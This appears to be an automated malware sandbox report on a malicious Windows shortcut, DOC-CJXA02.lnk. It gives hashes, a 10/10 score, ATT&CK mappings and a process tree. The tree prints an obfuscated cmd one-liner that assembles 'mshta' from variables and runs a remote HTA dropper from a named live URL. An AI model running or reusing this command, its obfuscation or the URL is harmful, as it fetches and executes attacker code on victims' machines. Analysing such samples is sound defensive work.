4dc1d4716ba3de3e4c3c95475ffb55123b20ab2a5fb514d8a16ab6c7cbaeb5af

Analysis

max time kernel
148s
max time network
141s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
04/08/2026, 08:22

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General

Target
DOC-CJXA02.lnk
Size 1KB
Sample260804-j9l8kazzcs
SHA256 4dc1d4716ba3de3e4c3c95475ffb55123b20ab2a5fb514d8a16ab6c7cbaeb5af
MD5 c0c86e97b7c32c4250c2d1d56684336e
SHA1 50db8967ffb5a5fea6e19b17d16a3f29c91e769c
SHA512 4189a68f75351f4b976399a03e889064c02d0835c46c6fbc99ef072d5b604560932c232f4e7d5abd7820741bbac9b675e7fa8853378a17c4e6acaf81a7a21c84
TLSH
T1883197502FFC0624F3F38F7A84BB572085BBB8968E20CA2E4040450C1026A15F17BF77
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1316	cmd.exe
3044	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 1316 wrote to memory of 3044	1316	cmd.exe	90
PID 3044 wrote to memory of 4748	3044	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-CJXA02.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1316
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /v:on /c "set vGMFn=msh&&set unP=ta&&start "" !vGMFn!!unP! https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3044
- - C:\Windows\System32\mshta.exe
    mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
    3⤵
    PID:4748

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads